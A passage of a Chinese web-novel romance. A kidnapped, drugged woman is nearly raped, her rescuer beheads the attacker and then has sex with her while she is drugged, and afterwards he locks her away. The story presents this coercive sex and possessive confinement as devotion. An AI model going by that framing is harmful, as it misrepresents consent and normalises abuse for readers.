明明没有一点情绪波动,甚至只是漫不经心,用那妖冶阴鸷的瞳孔,淡淡抬头扫了她一眼。
却像是一个站在高处的上位者,正倨傲地俯瞰着她。
带着一股可怕的威压!
盛苒吓得趔趄,膝盖都有点发软,脸白如纸,再也不敢说话了。
望着谢景愿离去的背影,她终于忍不住跌倒在了雪地上,目光震惊又狐疑。
他到底是谁?!
同时盛苒心中的那股子不甘,也越发的强烈!
谢景愿很快来到了沈木兮的住所,昨夜他来过这,那时候沈木兮睡得正熟,并不知道,也不知晓他如在猎林时,抱膝蹲坐在她的床边,就这样靠着她陪她睡了一整夜。
可是此刻,这里静悄悄的,一个人也没有。
她不在。
不在这……她背着他……走了?
心中刚生出的那股,浓烈到几乎瞬间蔓延至他四肢百骸的阴骇之气!在看到旁边的包袱时,瞬间消止。
知道她没走。
阴暗的屋子里,他的红唇诡异的悄然上扬。
就在这时,外面传来细碎说话。
“奇怪得很,先前我听到后门外传来异响,可什么也没有。”
“别说了,我也觉得这几日府中怪得很。”
一道冷风吹过,屋中已经没了人影。
另一边,沈木兮还在黑暗里爬行……
是真的爬行。
为了能够到门口,她使出了浑身的力气。
沈庚可没脑子能把她弄走,还这样捆着关在这。
林氏也没这么机灵。
不知为何,沈木兮又想起了那个她和谢景愿共同的敌人!
一想到这,她心中的不安感更甚!
糟了,完了。
她在半昏半醒的时候,在路上丢了一些东西当求救记号。
万一真是夜王,谢景愿找来了可怎么办?
就在她奋力捣鼓着想打开这扇门时,有人一把踹开屋门。
不是预想中的北辰晔,也不是沈庚。
而是个陌生的老女人声音,周身还带着一股能熏**的沉闷香气。
那老女人把她的脸抬起来,笑得花枝乱颤。
“哎哟,真是个好货。”
沈木兮听着这声音就倍感不妙。
果真听旁边跟进来的男人猥琐地说:“这样的好货,妈妈就舍得给我吗?”
“你也是运气好,碰到了个好说话的主!卖她来的那个人说,随便怎么折腾,只要留她一口气就行。”
北辰晔抓来沈木兮,可不止是想利用她引出谢景愿。
还想激怒他,让他绝望!
只有在这样的情况下,一个人才会更容易露出破绽。
那妈妈给了男人一个瓷瓶。
“给,灌下去给她。这可是我家楼子里的好东西,比外面的药不知厉害多少,定要她在你身下欲仙欲死!”
男人搓着手,猥琐地接过。
一阵关门声落,她虽然看不到,但已经能感觉到那男人身上的气味,发脓发臭!
不知道是染了多少种风月病!
在男人要伸手来时,她用力抬腿踹去,拼命站起身要往屋外跑!
那男人恼了,紧追过来。
那回在山林里,被李管事追逐的恐惧感,再次席卷而来。
沈木兮做足了准备,感觉到他逼近,撞了撞四周,果真撞翻了一个花瓶。
花瓶落在男人的脚上,疼得他骂了一句浑话!
“**,老子今日定要在床上弄死你!”
她都已经撞开门了,就差那么一刻!
可最终还是被他抓住了脚,给抓了回去!
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房间里的动静,很久引起了酒楼里其余人的注意。
刚和自己的权贵好友聚完回去的北辰殷,停在了楼道上。
北辰殷转身,看去那二楼角落里敞开的雅间门,眉心微微皱起。
奇怪,方才那声音,怎么有点耳熟?
在三楼雅间里观察着的冷刃,发现了在楼道上停下来,已经准备朝着那房间去的北辰殷,心中一急。
“不好。”
很快,一道奴才的身影来到北辰殷跟前,对着他耳语了两句什么。
“什么,母妃晕倒了?怎么不早点告诉我!”
北辰殷脸色一变,什么也不顾,赶紧走了。
冷刃见他离去,这才松口气。
而那犹如地狱的雅间里,沈木兮已经被拖到了床上。
因为双手被捆,她连反抗都做不了。
“叫吧,叫吧!你叫得越大声越好!”男人扯掉她的衣服,激动又疯狂地说。
为什么?
他为什么要这样说。
做这种事,不是更怕被人发现吗。
沈木兮突然想明白了什么,瞳孔发红!
夜王的目的,根本不是折辱她,而是想借着她,去对付谢景愿!
原本呼救的声音,戛然而止……
她不再求救,一点点闭上了双眼。
谢景愿啊谢景愿,到底真是原主欠你的,还是老娘欠了你?
沈木兮失笑自嘲!
虽然不是自己的身体,也是那恶毒原主理应还给他的。
但她怎还是这么的难受呢?
三楼上,冷刃一直在观察酒楼里的动静。
“奇怪,王爷,怎么还没有动静?”
北辰晔坐在房间里,十分冷静。
“急什么,他一定会来的。”
果真下一刻,守在外面的人发现了动静。
“王爷,他来了!”
北辰晔眼底划过一丝幽光,意味深长地笑了。
他抑制着即将得成的激动,大步来到三楼楼道!
果真看到下方人群里,出现了那一抹身影。
在北辰晔往下看来的瞬间,他也在往上看,那双黝黑又阴森的瞳孔,就这样和三楼上的北辰晔对视!
谢景愿站在人堆中,抬头盯着他的方向,脸在阴暗里,只是一味地笑……
第56章 星宿沧海,共赴沉沦
北辰晔眉心一皱,被他这邪气阴森的笑……看得突然有些头皮发麻。
这种仿佛被他反支配操控着的感觉,也让北辰晔十分不爽利!
就在下一瞬间,谢景愿的身影,却突然消失了。
连如同鹰眼的冷刃,都没看清谢景愿是去了何处!
北辰晔也有点慌乱,但转瞬又冷静下来。
“找!”
整个酒楼都布满他的人,北辰晔就不信,他还能飞了去?
然而事实却是,无论他们如何追寻,都找不到谢景愿的踪迹。
北辰晔从一开始的运筹帷幄,掌控一切,到此刻也有些不冷静了。
“在那!”冷刃眼尖地看到,大堂人群里,正有个穿着和谢景愿一样衣服的男人人影,从大堂东边一闪而过,然后又去到了另一个角落。
他没有迟疑,当即带着人追了过去。
而此刻所有人的注意力,连同额前青筋直跳的北辰晔,眼神也死死注视在大堂上。
没有人看到,有那么一道换了装束的身影,已经悄然来到了二楼。
谢景愿看着那道虚掩着,仿佛是在故意阴人前来的房门,不禁冷笑。
抬脚一踹!
屋中!
凌乱一片。
地上是散落的衣物和染血的碎瓷片。
而床上,女子衣服被扯了个稀碎,露出白皙肩头和大红肚兜。
她的双手被捆在身后,眼睛也被蒙着,嘴角还残留着被强行灌入的什么东西……因为在药性发作之前,她一直在剧烈反抗,脸上全都是男人硬掰出来的手指印!
身上还有各种伤口血迹。
可即便都要疼**,她也没有发出一点声音……一直在死死咬着唇,唇都要给咬破了,愣是没发出一丝声响!连现在她被逼喂药后都快失去了神智,也没有松口!
而那浑身染满脓疮的男人,正如同恶心蛆虫一样,在她身前一点点蠕动着,等待扯掉她身上最后一层的遮羞布!
屋中,一股浓烈的阴诡气息乍起……
那男人的身子抖了抖,下一刻已被**力拽下!
狠狠被拖到地上的那一刻,一个沉重的花瓶砸在了他的头上,仿佛都头骨都碎了。
他甚至能看到自己的脑浆在地上迸裂!
再抬头!
只见男人的高大身形遮挡住了一切的光,浑身充斥着浓浓的煞气,像是鬼影一样,朝着他一点点逼近,居高临下看着他!
“你碰了她的身子。”他的声音没有一点的起伏,阴森的都不像是个人!
男人被吓到了,捂住自己头上的血,惨白着脸往后退:
“没有,没有!我只是脱了她的衣服,还没碰她呢!”
“你、你是想要那个女人吗?那我把她送给你,你放了我,放了我好不好!”
谢景愿说:“可你还是动了她。”
还给她下了东西。
这些人难道不明白,只有他,才可以给她下这些东西吗?
他皱起眉头,又看了眼身上这一身,她另做的干净衣服。
叹了口气,又要脏了。
“对不起,你看到了她的身子,还碰了她,你就必须死。”他说着道歉的话,却是面无表情拿出了刀……
“啊……!”
男人凄厉的惨叫,在谢景愿砍掉他头颅的那一刻,戛然而止,如外面的雪风一样,覆灭在了夜时京城的风月里。
等北辰晔反应过来不对劲时,已经迟了。
这“谢景愿”,分明一直在大堂里绕圈子。
“不好。”
他带着人追到了二楼雅间,里面早已没了人影,沈木兮也不见了。虽然已经有了心理准备,可是看到地上被剁下的双手和头颅的男人时,北辰晔还是瞳孔骤缩。
而冷刃也抓到了大堂里的那个人。
此人根本不是谢景愿,只是穿着他原本衣服的人!
难怪他从一出现,就毫不遮掩,还在下面频频挑衅自己,不怕死的激怒着他。
再一次的落败,让北辰晔怒不可遏!
他双手紧紧攥拳,额前青筋四起!
简直是要被气炸了。
两次了,已经两次被他给逃了!
“追!本王一定要抓到他!”
一定!!
……
盛家后厨房。
夜已经深了,这边已经没几个人了。
陶嬷嬷一日都没怎么见到沈木兮的人,前前后后找了她数次。不过陶嬷嬷也没多想,只以为是那两个被处死的小厨娘,把她给吓到了,这才吓得躲了起来。
到底是个外来的小姑娘,没见到权贵高门后宅里的腌臜事,被吓到也正常。
夜深时,陶嬷嬷又来了沈木兮的房间,只见屋子半掩,床上隐隐像是躺着个人,这才放下心,提着灯笼转身走了。
等四周安静下来。
漆黑的小屋里,风声一过,男子抱着怀中女人出现。
她因为难受,已经开始发出一阵阵的低吟……
谢景愿把床上他提前塞进被褥下的枕头抬脚扫开,将她平放在床上,蹲守在床边,看着她难受的样子,他双眼也氤满一团湿红。
“阿兮,对不起,是我来迟了。”
不是第一次中药了,可今夜的药显然比上回李管事的那东西厉害许多,这才过了一会儿,她就浑身燥热,脸颊滚烫
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,不停地扯掉身上谢景愿给她披着的衣服,贪婪又渴望,朝谢景愿身上不停蹭着。
一想着她这副娇媚无骨的样子,差点就要被旁的男人看了去,谢景愿眼神里的阴鸷戾色愈发的浓……可说话的声音,却轻柔极了。
“放心,我不会让你难受的。”
他如同在猎林时,找来了一个浴桶,在里面装着凉水,将浑身发烫,不停颤抖的沈木兮放了进去。
可惜,这一次沈木兮不像是上回那样,很快就熬过去了。
那冰凉的水没有半点用处,她的体温逐渐攀升,反应也比上次更剧烈,眉心紧锁着,好像身上有万千只蚂蚁在爬,不住抓挠!
甚至抓出了血痕!
她难受的哭着,眼角满是泪。
谢景愿也慌了。
居然没用?
怎么办……她好像真的快撑不住了。
他该怎么去救她?
他突然不动了,这风雪之下的小屋,也像是瞬间死静了下来。
谢景愿站直身子,高大的身形,除了周身自带的阴渗幽冷,还有一种属于男人的成熟气息,那被月色映下来的黑暗身影,一点点把床上之人的所有都包裹在其中。
他像是沉思了良久,隐隐能听到他袖下骨头的咔嚓声……最后终于像是终于做了什么决定。
“沈木兮,看着我。”
他第一次直声喊着她的名字,声音冷静得出奇,又带着一股克制后的暗哑。
神智逐渐不清的沈木兮,听到那道熟悉的声音在唤自己的名字,用尽自己最后的力气,睁开眼。
他俯下身,捧起她烫得吓人的脸,哑声问。
“你可知道,我是谁?”
沈木兮露出一个既难受,又蹙眉不明的表情,颤抖地说:“你不是景愿吗……谢、景、愿。”
黑暗里,男人眼睛微微放亮,笑了。
好。
知道,那就足够了。
帘下风起。
他把她从从冰水里抱起,带着这可怜狼狈的人儿走去床榻。
两人的衣衫随着夜风,松垮的散落了满地。
黑夜里,她珠粉如瓷的臂弯,搭在他健硕紧致的腰身上。
他一手强压着床板,一手轻抚着她的小脸,强势俯身,声音寸寸撕磨,寸寸嘶哑:“阿兮,别怕。”
“我会救你,救你……”
深夜的雪风呼啸不止,同那星宿沧海,共赴沉沦。
而那早已他在心底里埋藏许久的欲想。
也终于在这个冬雪之夜里。
如同燎原烈火般攀升,一路燃至,终是到了那苍穹顶点。
……
“水,我想喝水……”
第57章 对不起,是我昨夜弄疼了你
嗓子疼得犹如在巨大的火海里走了一遭。
连同身子,也像是被重重碾过,每一根骨头都像是碎开的,特别是双腿,酸胀难受得要命。
“来,我喂你。”
沈木兮被人扶起,清凉的水一点点没入喉头,她这才舒缓了几分。
睁开眼,便是谢景愿担心的脸。
因为她一直不醒,他既着急又委屈。
几分妖冶的狐狸眼里,满是可怜红光,眼神里还带着一夜未睡后的沧桑。
但这并未给他增添一丝狼狈,反而一夜未见,他的身上,多了一种男人的欲野气息。
可眼前男人再绝艳,她也无心去欣赏一二。
以前在谢景愿逐渐长成的那大半年里,便因为他长得好看,她有时候也会学着猎林的其他女人,时不时偷偷瞄个几眼。
而此刻!沈木兮的注意力,却全然被眼下四周的场景给震得惊骇住了……
她所在的这个床,已经塌陷了一半。
几乎是散架了。
床帘更是缠落了一地!
而身后的床头板,也满是被人生生用手摁碎的迹象……
更别说那满地散落的两人衣物,和身上只剩一身松垮单薄衣衫的他!
不用说,也能知道昨夜是怎样的激烈……
沈木兮像是瞬间傻住了。
北辰晔的药,怎是那乡间猎林小管事的区区药粉可以比的。
况且他本身的目的,除了是要摧毁谢景愿,也是想摧毁她。摧毁掉,她这个他身边唯一的亲人!
是以昨夜被强行灌下药水后的场景,她还是历历在目!
清楚地记得,她差点被那恶心男人欺负。
后来,她好像被人救走了……再后来……她神智也开始逐渐不清晰,只记得自己好像坠入了一片无尽深潭。
她随着那巨浪起起伏伏,泛出无尽涟漪。
一圈一圈,仿若永无休止。
思绪归拢。
轰隆一声!
有什么东西在她脑海中炸响!
沈木兮彻底地呆坐在散架的床头!
而像是以往般,如一只狐狸小兽般蹲坐在她跟前的谢景愿,见她一直不说话,只瞳孔瞪大,脸上也毫无血色。
他以为她是病了,眉心蹙起,抬手试了试她的额头,着急又无措:
“阿兮,是哪里还不舒服吗?”
“告诉我,是不是很疼?”
“对不起……”
他已经很小心了,可还是弄伤了她。
是他的错。
被他触碰的那一瞬,沈木兮下意识地弹开,抱紧被褥!
“别碰我!”
下一瞬,她清楚的看到,被自己推开的谢景愿,湿红眼眸里闪过一丝困惑,和那一抹一闪而过,差点就快被她捕捉不到的阴鸷戾色。
虽然,他很快就把那股异样色泽压了下去,再看去时,他又是那副眼尾蓄满红光,可怜又委屈极了的样子。
这一捕捉,也让快濒临疯掉的沈木兮冷静了下来!
她垂下了眸子,偷偷捏紧被子,用尽自己此刻所有的力气,轻声笑着说:“景愿,这水已经凉了,你可以帮我去找一碗热水吗。”
见她总算恢复,还在好好的和自己说话,谢景愿眼底里的暗涌彻底消退。
“嗯嗯,我去给你弄热水,等我。”
“外面冷,穿上一身厚衣服再去吧。”她又说。
谢景愿回头,好看的眼睛亮闪闪,在优越的骨相的衬托下,若那星辰映月。
“嗯,我听你的。”
他穿上外袍出去了。
沈木兮脸上的笑意一点再也维持不住了。
她瞬间失去了所有的力气,斜斜瘫坐在了这破碎的床上,仿佛自己也跟着碎裂了!
从穿来的那一刻,她就只有那一个目标,活命!
她一直以为,她做的很好。
也摆脱了她未来的噩运!
可现在,她突然才发现,自己竟然走向了另一条更可怕的路!
而那个一直纠缠着她,怎么也甩不掉的梦魇,那个她最惊惧的噩梦!也终成了现实!
她要
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走,要离开这……必须离开。
沈木兮方才支走谢景愿,便是想着跑路。
她强忍着身体的难受肿胀,艰难地下了床。
开始急促地收拾起了自己的东西。
好在,从来到这个世界起,她就随时做好了逃离的准备,这一年来,为了自己逃跑,她也攒下了不少银子。
可因为她浑身酸软,手也在颤抖,越收拾,东西越是掉落满地。
她顾不得那些,赶紧捡起来继续装!
就在这时,轻微的咯吱一声,门悄然开了。
“你在做什么。”
低哑的男人语调,如鬼语般从她身后蓦地响起。
沈木兮像是被吓到了,当即关上柜门背转过身去。
谢景愿手里端着热水,正眉宇紧蹙,不解地看着她,眼下是她看不懂的一片暗影。
沈木兮连话都不会说了,只紧张地抵在柜门前。
谢景愿见她不说话,显然是在藏着什么东西,唇边弧度微收,眼里闪过一丝戾色。那股令人胆寒的阴渗感,再次从他周身弥漫而出。
“你在收拾东西?”
他看着地上还散落着的包袱物件,突然朝着她走来。
那高大到沈木兮都快看不到头的身躯,又阴又冷,宛若一大片的可怕黑云,朝着她压至!
“我……我只是在找衣服穿。我冷。”
她身上的确只有一身单薄衣裙。
那掩着谢景愿上半张脸的暗光消失,鲜红如血的红唇边重新噙着笑意。
“我来帮你找。你昨夜累着了,去躺下休息。”
他不是在提议,更不容她反驳,而是直接攥着沈木兮的手,执拗又强有力地将她强迫带回了床上去。
甚至对于昨夜发生的事,一点也不打算隐瞒或者避讳!
就这样直言说出!
看着他那钳制着她手腕的大掌,沈木兮突然没来由的打了个寒颤。
有什么……令她无比惧怕,存在于他身体里最深的东西,好像已经悄无声息地蔓延而出了。
第58章 疯批倒计时……
沈木兮不敢动。
无论是如今两人越发大的体型差,还是他那周身潜移默化出的强势气场,都在无形压着她!
她乖乖回到了床上。
可他好像并没有生气,仿佛方才的那些细微变化并不存在,他甚至还主动帮她收拾好了地上的那些东西。
她有些困惑,难道他没看到这些散落的物件吗。
还有她方才那漏洞百出的解释。
“这里不安全,我带你去另外的地方。”他一边收拾一边说。也没问她好不好,只是在陈述他的安排。
盛家的确不安全了,无论是盛苒还是北辰晔,都是个定时**。
但沈木兮此刻已经无暇顾及那些人了,她只是眼也不眨的紧盯着面前的男人……
带着她从盛家离开的一路上,谢景愿也一样对她关怀备至,看起来没有一点异样。
等到了他安排好的客栈里,他先把她安置妥当,然后半蹲在床边,仰着头,拿起帕子抬手轻轻擦着她脸上那昨夜留下的泪痕。
她突然有种错觉。
自己好像是个独属于他的陶瓷娃娃,在被他精心的呵护和摆弄。
擦着擦着,他的手开始往她衣襟下擦去……
谢景愿神色如常,没有半点邪念,好像在他看来,这是一个在他们两人之间很稀松寻常,也是顺其自然的事。
可却是激起沈木兮一阵寒栗。
“不用了,我自己擦就好。”
沈木兮拿过帕子,佯装平静地转过身去。
谢景愿看着她帘子后颤抖的身子,眼眸微暗,没说话。
过了半晌,他才道:“我出去给你弄点吃的,乖乖等我。”
出去的那一瞬间,谢景愿清楚地听到屋中女子那松口气的声音。
他眼底暗波和戾气四涌。
却没有做出什么。
他知道,昨夜后,她会害怕。
他也知道,她先前醒来时,是想收拾东西逃走。
他允许她害怕,允许她不听话,也允许她有这个想法。
但仅此一次。
很快她就会明白,她一定是离不开他的。
况且,她也走不了。
谢景愿一点点落下了门锁,平静无波的转过身。
等他回来时,沈木兮正抱膝坐在床头,看起来并没有动弹过。
他嘴角微微勾起,等布置好了一桌丰盛的菜肴,亲自抱着她下了床,来到桌边,给她夹了好些她喜欢吃的东西,眼眸湿红,带着期待地说:“阿兮,吃点东西好不好?”
沈木兮抬起头,看着他眼中熟悉的纯白和满满的担忧。
还带着他的小心翼翼。
生怕她不高兴了。
沈木兮方才在屋中冷静了许久,此刻看着他单纯无害,还有些憔悴的样子,她也渐渐清醒过来。
她在想,是不是自己想多了?
昨夜即便发生了那种事,那也是因为她中了计,他是想救她的原因。
“好,我们一起吃。”虽然是缓和了语气,但看得出,沈木兮对于他还是带着隔阂的。
谢景愿眼神有几分失落,但还是乖乖点头:“嗯,我们一起吃。”
这两日沈木兮一直在观察谢景愿。当然,她没有动身离开,除了是自我怀疑外,还因为昨日来到客栈后,整个皇城就被夜王封锁了。
外面的传闻说,是上次那个逃走的犯人,不仅仅四处逃窜,还在京中的酒楼里**数名无辜百姓。为了缉拿这个罪恶至极的重犯,也是为了保证京中百姓的安危,才去请了御令暂时封锁皇城。
就算是她跑了,也跑不出京城,只有先留下。
经过这两日的观察,谢景愿不仅仅对她照顾有加,也没有再做出那些“出格”的事了。
可能是因为沈木兮的冷漠,他现在每次进屋的时候,都会提前敲门,然后小心翼翼地站在帘子后等着,直到她面色没有一点不愉,才会进来。
然后一如既往地蹲在她跟前,像是一是小兽仰头望着她。
既可怜,又卑微。
以至于,沈木兮看着他这番谨小慎微的样子,居然开始反思,觉得是不是自己太过了?
他是为了救她。
自己却是这样故作冷冰冰的对他。
接下来的几日里,因为城中的搜捕,谢景愿白日会出门打探情况,是以时常不在。
北辰晔虽封锁了皇城,也在四处搜查,但可能是这个客栈太过隐蔽,竟没有被他找出来。
继续安稳的又过了一段时日,在她的细心观察下,确定他不会再对自己做什么,也开始逐渐的放松警惕。
这日,谢
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景愿又出门了。
比以前出去的更早一些。
沈木兮已经很久没出门了,不知是那夜太猛,还是夜王的药后劲儿太足,她身子虚了好久。
今日窗外少有的升起了艳阳,她想出去看看。
先前没出屋子,除了身子原因,也是因着怕出去被夜王发现,这两日窗外的巡逻兵械声渐少,正好可以出去瞧瞧。
走到屋门,她往外一推,这才发现……门居然被人从外面锁住了!
沈木兮脸色一变。
客栈的房间,怎会被人从外锁起来!唯一的可能就是……
那股刚被她自我安慰下去的可怕窒息感,再次如排山倒海般涌来,袭遍全身!
他果真是装的。
该死,她明明知道他是个怎样疯批又极端的人,居然也会被他的无害的外表给骗了去!
门外传来脚步声,沈木兮赶紧回到屋内,佯装什么也不知道,如以往一样坐在了床边。
可身子却还是在止不住地发抖!
咯吱一声,门悄然开了。
谢景愿在走进来的那一瞬,脚步微微顿住。
沈木兮的心已经提到了嗓子眼,生怕被他发现什么。
但好在,他停顿片刻,又恢复如初,抬步走到她的跟前来。
他照旧半蹲下来。
“阿兮,外面还乱得很,我们要在这耽搁一段时日了。你放心,不会有事的,我答应你。”
谢景愿微微与她对视着,因为沈木兮这几日的逐渐冷漠,他的眼神里带着些倔强和幽怨。
沈木兮看着他,却像是已经看到了今后,那坐在漆黑不见光的高阶之上,那身穿金线勾勒出紫金花的玄色长袍,半撑着额头,如一只巨大的黑色**蛇,仪态生威,又阴渗可怖的男人!
她压下心头那股强烈的头皮发麻之感,故作温和的出声道:“我没事,你天天出去奔波,可累着了?”
谢景愿眼神顿时亮了,霎时像是涌入了一片璀璨星海。
这一段时间,除了刚来的那日,她和自己说了几句话,后面的这些时日里,她基本是半个字都不说的,更别说还是这样关心的话。
“我不累。”他激动地摇头,蹭着她的臂弯,像是顺**只小狗狗,“阿兮,别生我的气了好不好。”
第59章 把她锁起来
是他的错。
即便是要那般做,那也应该光明正大,给她最好的一切。
他的一双狐狸眼眸亮闪闪。
只要她想要,那他就一定会满足她。
她无论要天下的星星,还是要北辰晔的人头,他都会双手奉上。
“景愿,在这屋子里养了太久身子,我想出去走走,可以吗?”沈木兮小心地问。
谢景愿从她臂弯里抬起头,眼底一闪而过一丝不虞阴戾,但依旧是温和地笑着说:“你想出去,当然可以。”
“可是外面还乱得很,我们要出去的话,得小心一点,提前准备一下,这件事我来安排吧。”
沈木兮表现得很冷静。
只有出去了,才能有下一步。
原本她还想,自己这样是不是太着急了,他锁住这个门,万一……只是为了挡住外面夜王的人呢?
可下一刻,她便无比庆幸自己做出了这个决定!
因为之前来这的时候,沈木兮身子发虚,站都快站不稳了,一路上风雪也大,她是披着衣服,被谢景愿抱来的。
并没有看到来的地方到底是何处!
现在出来才知道,这哪里是个客栈!
除了那间屋子的摆设像是客栈的样子,外面根本就是个无人居住的平民屋舍。
难怪她说夜王的人怎么一直在窗外的街道上转悠,不曾进这个客栈搜索,原来是这个原因!
所以,她这段时日,竟一直都被他锁在他亲手打造出的这个小屋中吗?
沈木兮震惊的脸色落入谢景愿眸中。
谢景愿好像早就知道她看到这一幕时会有的反应,狐狸眼眸笑得眯起:“阿兮,我给你安置的这个地方,你可喜欢?”
他就知道她会又惊又喜的。
他说着又蹙眉垂下头:“我现在还不能给你太多东西,但你相信我,我一定会让你住进更好的地方。”
什么地方?
是皇家密室?还是独属于他的囚牢!!
沈木兮头皮发麻!
却不敢表露出半点异样。
“嗯嗯,好……”她舌头都在打结。
和谢景愿简单装扮一番,假扮成寻常的京城百姓,来到了街道上。
她不知道谢景愿每日出去,是不是做了些什么。但这两日里,外面的搜索队伍,显然是少了许多。
可走在冬日暖阳下,她却感觉不到一丝温暖。
谢景愿其实表现的很乖,和以前没什么区别,甚至允许她独自去买东西,但她总觉得背脊发凉,就好像自己一直都在被人窥探监视着。
可转过头,什么也没有。
等到她和谢景愿分开买东西时,她涣散又警惕的眼神,落在了前面的包子摊前。
在那摊位后面,有个狭窄的小道。
那里看起来很隐蔽,巷子小道也通往另外的地方。
沈木兮灰暗的眼神,一点点放亮,好像嗅到了生的气息。
就在她抬步往前走时,却被路过的一个大男人撞了一下。
“发什么愣,杵在路边不动弹,故意挡爷的道吗!”那男人恶狠狠地说。
沈木兮身子还有点小虚弱,身子微晃了晃,差点要跌倒。
下一刻被人牢牢揽住腰窝带了过去。
“小心。”
突然出现的他轻声说着,眼神却是暗冷如冰,阴渗冷眼唰地落在那撞她的路人身上,下一刻便准备朝着那人抬步走去!
沈木兮是第一次在他的眼神里,看到这样可怕的色泽!
她一把拉住他:“我没事。”
沈木兮突然松口气。
好险啊。
还好她方才没有冒险,他随时随地都会出现的!
若非这个人打岔,她……已经不敢去想那个后果了!
是她太冲动了,既要逃走,那就必须先要个万全之策。
回去的时候,她看到街边几个小孩子手里提着的灯笼。
沈木兮突然想起什么,偏头对谢景愿道:“景愿,上元节要到了,以前我对你不好,也没带你放过天灯。今年我们在京城过节,便入乡随俗,一起去放天灯吧?”
谢景愿不喜欢天灯。
但看着她那期盼的样子,他
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并没有拒绝她:“嗯”
“可是夜王一直在搜查我们,不知能不能等到上元节,不如就今夜吧,今夜我们去城中河边,一起放天灯,你说好不好?”沈木兮又继续说。
谢景愿看着她的眼神很明显变了。
沈木兮心中一跳,没想到他竟这么敏锐。
“你为什么总是喜欢出去?”他眉骨微蹙,很苦恼的样子。
外面这么危险,他是在保护她,她难道不明白吗?
沈木兮不说话了。
一是说多错多,二也是不想让他再怀疑下去。
她没说话,他也不再吭声。
两人回去的路上,皆是一路沉默。
回去后,谢景愿把她的午饭准备好,便又出去了。
沈木兮没有去问他去了何处,不用多猜,门肯定又是锁起来了。
她已经快没招了。
绝望地躺在床上,难道这就是命吗?
无论她怎样的努力,换来的都是一样的结果!甚至比原本的更要可怕!
接近黄昏的时候,谢景愿才回来。
比往日更迟一些。
最近他回来时,身上时不时会有一点小伤,今日也是一样。甚至比往日的伤更多一些,脸上还有道小口子。
可沈木兮现在已经无暇再去顾及他的事了。
却没想到,她起身时,却看到他摆在桌上的两盏天灯。
沈木兮有些在状况外。
谢景愿身上不仅仅有伤,还风尘仆仆,衣服上都是雪,睫羽上粘着冰晶。
他一进来,便大步走来蹲在沈木兮的跟前,抬起那双不知是被冻的,还是本就猩红的眼,哄着她说。
“别生气了,我带你去放天灯,好不好?”
沈木兮惊讶地看着那不知被他从何处弄来的天灯。
现在外面夜王追查的势头虽然有了些减缓的征兆,毕竟若一直没抓到犯人,他不可能在这个年关一直封城。
但外面搜查的人,依旧只多不少。
他是去哪里弄来的天灯。
难道,是因为去弄了天灯,他才受了伤?
第60章 最后一夜,景愿永别
沈木兮眉心紧蹙,看着谢景愿那带着浑身的伤,湿红眼眸还在殷切望着自己的样子,内心无比复杂。
一时间不知道心底到底是什么滋味,眼底也一点点淌出晶莹。
她从来不是什么心如磐石的人。
要说此刻的心中,没有半点起伏,那是不可能的。
但无论发生什么事,她都不会改变自己要离开的决心!
她别开脸,悄无声息把那抹泪拭去,拿起天灯时的眼神,已经都是决然,面上却是欣喜不已的笑:“景愿,真的吗?好,我们今夜就去放天灯好不好?”
谢景愿见她笑了,眼神越发温柔地看着她。
但同时,那眼底之下所蕴藏着的戾气暗涌,也越发的浓烈炽热。
她总会明白的。
这个世界上惟有他,才会一心一意地为她。
他还给她准备了一个大礼。
只是现在还不能告诉她。
她胆子小,他怕吓跑了她。
“对了!”沈木兮跑去翻找了起来,拿出两根炭笔,然后递给了他一根,“放天灯,都会写下愿望。那我们就写下对对方的祝愿,你说好不好?”
谢景愿点点头,接过炭笔。
“好。”
他没有一点迟疑,直接开始落笔。
仿佛这些对于她的话语,他早就言表于心,根本不用多想。
沈木兮深呼吸一口气,也背过身写了起来。
她的字很丑,手也在抖,还是在纸糊上,更是写的歪歪扭扭。
可她的神情,却是格外的认真专注。
日落西山,入夜后外面的冬雪又大了。
虽是大雪纷飞,但如今临近上元节,冬夜里的京城比白日暖和时还要热闹非凡。
街头巷尾,都是卖各种花灯天灯的摊贩。
年轻的少年少女们结伴出游,孩童们拿着灯笼,在长街上奔跑嬉戏。万千灯火,顺着河道绵延,宛若天边星河倾泻。
沈木兮披着一身绒毛披风,抱着天灯,和谢景愿来到了城中河边。
因为沈木兮说,在放飞之前,若是提前告诉给了对方内容,这个愿望就不能实现了。所以到了夜时,谢景愿也不知道她当时满脸认真,写的到底是什么。
可能是被四周的佳节氛围带动,原本心情沉重的沈木兮也变得欢快起来。
还捡起地上的雪,捏了个雪球,故意朝着谢景愿丢去。
谢景愿被砸也没生气,虽然没什么表情,但高挺的身影却是杵在那,像是由着她玩。
“景愿,快!要到时间放天灯了。”
除了他们,也有其他人在河边**,每个人手里都有个灯笼。
等到今夜风起时,放飞来年的祝愿。
沈木兮的脸被冻得红彤彤的,也拿出了他们的灯笼,催促着谢景愿。
“快走啊!景愿,我们也去放!”
谢景愿好像是真的不喜欢天灯,拿出来的那一刻,他眼底闪过一道似是来往于记忆里的血色暗冷,待抬头看着前面那笑得明艳的女子,他又笑了,轻嗯了声。
“嗯,来了。”
今夜京城的确热闹。
除了寻常的百姓出行,各家高门公子小姐,也在今夜的行列里。
河岸边热闹的人堆中,有人抬头,突然惊异了一声。
“小姐,我好像看到那个公子了!”
虽然只有个背影,但瑟儿肯定自己没看错。
人群里,她旁边盛装打扮的盛苒闻言当即转过身,眼神急切。
自打那日谢景愿擅自离去,便再也没见到他。
后来经核查,除了他,府中还有个在后厨房的小丫头也跟着失踪了!
盛苒始终无法接受,自己捡回来的人,居然跟着个低贱的奴婢跑了。
莫名有一种,自己的物件,被他人偷走的错觉!
在盛苒的世界观里,无论自己是否在意这个人,但是她捡回的他,是她赋予了他新的生命!那他就是属于她的,即便是被丢弃,那也该她说不要。
哪里能被人偷走?
本以为失踪这么多日,这两人怕是早就走远了,未想还在京中。
可见,她和谢景愿是有缘分的。
今夜就是他们的缘分。
河道这头。
数道被点亮的天灯,被百姓们接连放飞,如一条条银河星链,悬在浩瀚的苍穹夜下。美得震撼又惊人。
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>沈木兮和谢景愿站在另一边,两人手里的灯笼也接连被点燃。
谢景愿先放了自己的那盏。
他转头,却见沈木兮一直紧紧攥着天灯,竟没有松手。
他很不解:“怎么了?”
沈木兮咬着唇,不知是不是真的太冷了,她不仅仅脸红彤彤,眼睛也是红红的。
“没,没事。”
天下无不散之筵席。
她想离开是真的。
可此刻心中的那份祝愿,也是真的。
谢景愿,我祝你一生无忧……
沈木兮在心中默念完睁眼,正准备松手,一道烟火突然窜去了天际。
谢景愿的注意力也被那动静吸引了去。
也只是那一刹那,待下一瞬他转过头来时,身边的女子却不见了。
他脸色肉眼可见的速度变了,眼神慌乱地朝着四周巡视起来。
却听到一道女子偷笑声从不远处传来。
